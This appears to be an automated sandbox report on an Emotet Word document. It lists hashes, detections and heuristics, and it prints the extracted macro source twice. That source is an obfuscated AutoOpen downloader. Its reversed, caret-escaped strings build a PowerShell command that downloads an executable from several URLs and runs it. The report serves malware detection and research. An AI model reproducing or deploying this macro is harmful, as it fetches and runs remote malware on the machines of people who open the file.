Emotet Office (OLE) malware analysis — malicious · df70074c23b46b3d

MALICIOUS

Office (OLE)

68.0 KB Created: 2018-09-14 08:28:00 Authoring application: Microsoft Office Word First seen: 2018-10-07

MD5: 58dcc318a9b6b257c43e038775068c8b SHA-1: 31fef967fe0355bf56662c2346afcb4b04434f56 SHA-256: df70074c23b46b3deab8cdff663f9e975df926d9cd5124fd2c7f5a33f255dd3e

142 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV heuristic and the presence of an AutoOpen VBA macro strongly indicate malicious intent. The VBA script uses the Shell function, which is commonly employed by Emotet to download and execute further stages. The macro is identified as 'Doc.Downloader.Emotet-6899230-0' by ClamAV, further supporting the Emotet family attribution.

Heuristics 5

ClamAV: Doc.Downloader.Emotet-6899230-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-6899230-0
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4112 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	4112 bytes
SHA-256: `793d1b3f96d38fc5412db8560941eff09a050c05c6df4fd8b381eeba0ee68251`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "qEzRiZjvwO" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() On _ Error _ Resume _ Next Dim wUFoGE() ReDim wUFoGE(3) wUFoGE(0) = 1 wUFoGE(1) = 8 wUFoGE(2) = 7299 Dim CmvFv() ReDim CmvFv(4) CmvFv(0) = 6657 CmvFv(1) = 57790791 CmvFv(2) = 322544154 CmvFv(3) = 6 Dim EdCTic() ReDim EdCTic(5) EdCTic(0) = 6 EdCTic(1) = 195 EdCTic(2) = 508 EdCTic(3) = 91 EdCTic(4) = 449028837 Dim bBWjkj() ReDim bBWjkj(4) bBWjkj(0) = 896 bBWjkj(1) = 75 bBWjkj(2) = 4199 bBWjkj(3) = 67 Shell@ zBKzMqFH + lhXusSQAh + ffIaRVjopSMVL, Format(0) Dim nJami() ReDim nJami(4) nJami(0) = 267 nJami(1) = 9 nJami(2) = 1 nJami(3) = 135195686 Dim FiuQW() ReDim FiuQW(5) FiuQW(0) = 912 FiuQW(1) = 3 FiuQW(2) = 482656573 FiuQW(3) = 1 FiuQW(4) = 133 End Sub Attribute VB_Name = "mTwaVOwt" Function zBKzMqFH() On _ Error _ Resume _ Next Dim KQluwh() ReDim KQluwh(5) KQluwh(0) = 99 KQluwh(1) = 765 KQluwh(2) = 3 KQluwh(3) = 973 KQluwh(4) = 9 Dim ijplV() ReDim ijplV(2) ijplV(0) = 10 ijplV(1) = 12453126 YNzoaWiSpXj = Format(Chr(11 + 13 + 1 + 7 + 67)) + "md /V^:^O/" + Format(Chr(8 + 9 + 1 + 5 + 44)) + Format(Chr(3 + 4 + 0 + 2 + 25)) + "^s^e^t ^9" + "^PU= ^" + " ^ ^ ^ ^ " + "^ ^ ^ ^ ^}^}^{h" + Format(Chr(11 + 13 + 1 + 7 + 67)) + "ta" + Format(Chr(11 + 13 + 1 + 7 + 67)) + "^}^;^ka" + "er^b^;^I^sn$ ^me^t" + "I-^ekovnI^;)^Isn^$ ^,k^w" + "j$(el^i" + "F^da^o^" + "ln^wo^D.h" Dim nlpmNj() ReDim nlpmNj(5) nlpmNj(0) = 4276 nlpmNj(1) = 123266364 nlpmNj(2) = 749 nlpmNj(3) = 440825872 nlpmNj(4) = 110040354 Dim JzYWTw() ReDim JzYWTw(3) JzYWTw(0) = 29 JzYWTw(1) = 294761252 JzYWTw(2) = 2 Dim WVChwM() ReDim WVChwM(4) WVChwM(0) = 75 WVChwM(1) = 36079019 WVChwM(2) = 75 WVChwM(3) = 458 FVucD = "N^L${yr" + "^t^{)^B" + "^Wt$ n^i k^w^j^$(" + "h" + Format(Chr(11 + 13 + 1 + 7 + 67)) + "^a^er^o^f^;^'ex^" + "e.'+jv^B" + "^$^+^'^\^'+" + Format(Chr(11 + 13 + 1 + 7 + 67)) + "^i" + "lb^up:vne$=^I^sn^$" Dim upWGV() ReDim upWGV(2) upWGV(0) = 71 upWGV(1) = 26078474 Dim ohbFpL() ReDim ohbFpL(5) ohbFpL(0) = 358 ohbFpL(1) = 9746 ohbFpL(2) = 8 ohbFpL(3) = 92 ohbFpL(4) = 6 VDTWq = ";^'7^49' = ^jvB" + "^$^;)^'^@^'(t^ilpS^." + "^'^u^J^s^u" + "^f/^m^o" + Format(Chr(11 + 13 + 1 + 7 + 67)) + ".sb^a^l^-^l3" + "//^:^pt^t^h@^o^Ywu^A/" + "^ur.^k^sr^k^ad^" + "im^e^tr^" + "a//^:^ptth@7r6rU/ofn" + "^i^.^ay^erts^a/" Dim waLXTt() ReDim waLXTt(3) waLXTt(0) = 1968 waLXTt(1) = 923 waLXTt(2) = 7230 Dim Hwmhjo() ReDim Hwmhjo(4) Hwmhjo(0) = 6721 Hwmhjo(1) = 180965331 Hwmhjo(2) = 1 Hwmhjo(3) = 2 Dim NHlIf() ReDim NHlIf(5) NHlIf(0) = 7807 NHlIf(1) = 57 NHlIf(2) = 2 NHlIf(3) = 19 NHlIf(4) = 98700381 Dim tzkrH() ReDim tzkrH(2) tzkrH(0) = 2584 tzkrH(1) = 8 kzSSw = "/:^pt^t" + "h^@F^ZU" + "y^7k21/^m^o" + Format(Chr(11 + 13 + 1 + 7 + 67)) + ".r^e^tae^w^" + "sh^a//^:^p^t" + "th^@^Q^Lhs/ten.e^g^dih" + Format(Chr(11 + 13 + 1 + 7 + 67)) + "//^:^p^tth^'=^BW" + "t^$;^tne^il" + Format(Chr(8 + 9 + 1 + 5 + 44)) + "^be^W.teN ^t" + Format(Chr(11 + 13 + 1 + 7 + 67)) + "^" Dim kGJaBX() ReDim kGJaBX(3) kGJaBX(0) = 97 kGJaBX(1) = 3295 kGJaBX(2) = 20 PEAilcUwpI = "ej^b^o-w^en^=^" + "hN^L^$^ ^l^lehsr" + "^ewo^p" + "&&^for /L %^t ^in (3^4^2,-1^," + "^0)^do ^s^et ^p^5r^2=" + "!^p^5r^2!!^9^PU:~%^t,1!&&^" + "if %^t==^0 " + Format(Chr(11 + 13 + 1 + 7 + 67)) + "^a^l^l" + " %^p^5r^2:*^p^5r^2!=%" + Format(Chr(3 + 4 + 0 + 2 + 25)) + " " + "" zBKzMqFH = YNzoaWiSpXj + FVucD + VDTWq + kzSSw + PEAilcUwpI Dim zIwzaf() ReDim zIwzaf(2) zIwzaf(0) = 644 zIwzaf(1) = 3 Dim RJwjG() ReDim RJwjG(2) RJwjG(0) = 93 RJwjG(1) = 9423 Dim CwKjj() ReDim CwKjj(3) CwKjj(0) = 75 CwKjj(1) = 2 CwKjj(2) = 37 Dim AUGCdz() ReDim AUGCdz(4) AUGCdz(0) = 424673066 AUGCdz(1) = 1692 AUGCdz(2) = 484195829 AUGCdz(3) = 2448 End ... (truncated)

SHA-256: 793d1b3f96d38fc5412db8560941eff09a050c05c6df4fd8b381eeba0ee68251

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "qEzRiZjvwO"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On _
Error _
Resume _
Next
   Dim wUFoGE()
ReDim wUFoGE(3)
wUFoGE(0) = 1
wUFoGE(1) = 8
wUFoGE(2) = 7299

   Dim CmvFv()
ReDim CmvFv(4)
CmvFv(0) = 6657
CmvFv(1) = 57790791
CmvFv(2) = 322544154
CmvFv(3) = 6

   Dim EdCTic()
ReDim EdCTic(5)
EdCTic(0) = 6
EdCTic(1) = 195
EdCTic(2) = 508
EdCTic(3) = 91
EdCTic(4) = 449028837

   Dim bBWjkj()
ReDim bBWjkj(4)
bBWjkj(0) = 896
bBWjkj(1) = 75
bBWjkj(2) = 4199
bBWjkj(3) = 67

Shell@ zBKzMqFH + lhXusSQAh + ffIaRVjopSMVL, Format(0)
   Dim nJami()
ReDim nJami(4)
nJami(0) = 267
nJami(1) = 9
nJami(2) = 1
nJami(3) = 135195686

   Dim FiuQW()
ReDim FiuQW(5)
FiuQW(0) = 912
FiuQW(1) = 3
FiuQW(2) = 482656573
FiuQW(3) = 1
FiuQW(4) = 133

End Sub



Attribute VB_Name = "mTwaVOwt"
Function zBKzMqFH()

On _
Error _
Resume _
Next
Dim KQluwh()
ReDim KQluwh(5)
KQluwh(0) = 99
KQluwh(1) = 765
KQluwh(2) = 3
KQluwh(3) = 973
KQluwh(4) = 9

   Dim ijplV()
ReDim ijplV(2)
ijplV(0) = 10
ijplV(1) = 12453126

YNzoaWiSpXj = Format(Chr(11 + 13 + 1 + 7 + 67)) + "md /V^:^O/" + Format(Chr(8 + 9 + 1 + 5 + 44)) + Format(Chr(3 + 4 + 0 + 2 + 25)) + "^s^e^t ^9" + "^PU= ^" + "    ^  ^ ^ ^  " + "^ ^ ^  ^  ^}^}^{h" + Format(Chr(11 + 13 + 1 + 7 + 67)) + "ta" + Format(Chr(11 + 13 + 1 + 7 + 67)) + "^}^;^ka" + "er^b^;^I^sn$ ^me^t" + "I-^ekovnI^;)^Isn^$ ^,k^w" + "j$(el^i" + "F^da^o^" + "ln^wo^D.h"
Dim nlpmNj()
ReDim nlpmNj(5)
nlpmNj(0) = 4276
nlpmNj(1) = 123266364
nlpmNj(2) = 749
nlpmNj(3) = 440825872
nlpmNj(4) = 110040354

   Dim JzYWTw()
ReDim JzYWTw(3)
JzYWTw(0) = 29
JzYWTw(1) = 294761252
JzYWTw(2) = 2

   Dim WVChwM()
ReDim WVChwM(4)
WVChwM(0) = 75
WVChwM(1) = 36079019
WVChwM(2) = 75
WVChwM(3) = 458

FVucD = "N^L${yr" + "^t^{)^B" + "^Wt$ n^i k^w^j^$(" + "h" + Format(Chr(11 + 13 + 1 + 7 + 67)) + "^a^er^o^f^;^'ex^" + "e.'+jv^B" + "^$^+^'^\^'+" + Format(Chr(11 + 13 + 1 + 7 + 67)) + "^i" + "lb^up:vne$=^I^sn^$"
Dim upWGV()
ReDim upWGV(2)
upWGV(0) = 71
upWGV(1) = 26078474

   Dim ohbFpL()
ReDim ohbFpL(5)
ohbFpL(0) = 358
ohbFpL(1) = 9746
ohbFpL(2) = 8
ohbFpL(3) = 92
ohbFpL(4) = 6

VDTWq = ";^'7^49' = ^jvB" + "^$^;)^'^@^'(t^ilpS^." + "^'^u^J^s^u" + "^f/^m^o" + Format(Chr(11 + 13 + 1 + 7 + 67)) + ".sb^a^l^-^l3" + "//^:^pt^t^h@^o^Ywu^A/" + "^ur.^k^sr^k^ad^" + "im^e^tr^" + "a//^:^ptth@7r6rU/ofn" + "^i^.^ay^erts^a/"
Dim waLXTt()
ReDim waLXTt(3)
waLXTt(0) = 1968
waLXTt(1) = 923
waLXTt(2) = 7230

   Dim Hwmhjo()
ReDim Hwmhjo(4)
Hwmhjo(0) = 6721
Hwmhjo(1) = 180965331
Hwmhjo(2) = 1
Hwmhjo(3) = 2

   Dim NHlIf()
ReDim NHlIf(5)
NHlIf(0) = 7807
NHlIf(1) = 57
NHlIf(2) = 2
NHlIf(3) = 19
NHlIf(4) = 98700381

   Dim tzkrH()
ReDim tzkrH(2)
tzkrH(0) = 2584
tzkrH(1) = 8

kzSSw = "/:^pt^t" + "h^@F^ZU" + "y^7k21/^m^o" + Format(Chr(11 + 13 + 1 + 7 + 67)) + ".r^e^tae^w^" + "sh^a//^:^p^t" + "th^@^Q^Lhs/ten.e^g^dih" + Format(Chr(11 + 13 + 1 + 7 + 67)) + "//^:^p^tth^'=^BW" + "t^$;^tne^il" + Format(Chr(8 + 9 + 1 + 5 + 44)) + "^be^W.teN ^t" + Format(Chr(11 + 13 + 1 + 7 + 67)) + "^"
Dim kGJaBX()
ReDim kGJaBX(3)
kGJaBX(0) = 97
kGJaBX(1) = 3295
kGJaBX(2) = 20

PEAilcUwpI = "ej^b^o-w^en^=^" + "hN^L^$^ ^l^lehsr" + "^ewo^p" + "&&^for /L %^t ^in (3^4^2,-1^," + "^0)^do ^s^et ^p^5r^2=" + "!^p^5r^2!!^9^PU:~%^t,1!&&^" + "if %^t==^0 " + Format(Chr(11 + 13 + 1 + 7 + 67)) + "^a^l^l" + " %^p^5r^2:*^p^5r^2!=%" + Format(Chr(3 + 4 + 0 + 2 + 25)) + " " + ""
zBKzMqFH = YNzoaWiSpXj + FVucD + VDTWq + kzSSw + PEAilcUwpI
   Dim zIwzaf()
ReDim zIwzaf(2)
zIwzaf(0) = 644
zIwzaf(1) = 3

   Dim RJwjG()
ReDim RJwjG(2)
RJwjG(0) = 93
RJwjG(1) = 9423

   Dim CwKjj()
ReDim CwKjj(3)
CwKjj(0) = 75
CwKjj(1) = 2
CwKjj(2) = 37

   Dim AUGCdz()
ReDim AUGCdz(4)
AUGCdz(0) = 424673066
AUGCdz(1) = 1692
AUGCdz(2) = 484195829
AUGCdz(3) = 2448

End
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.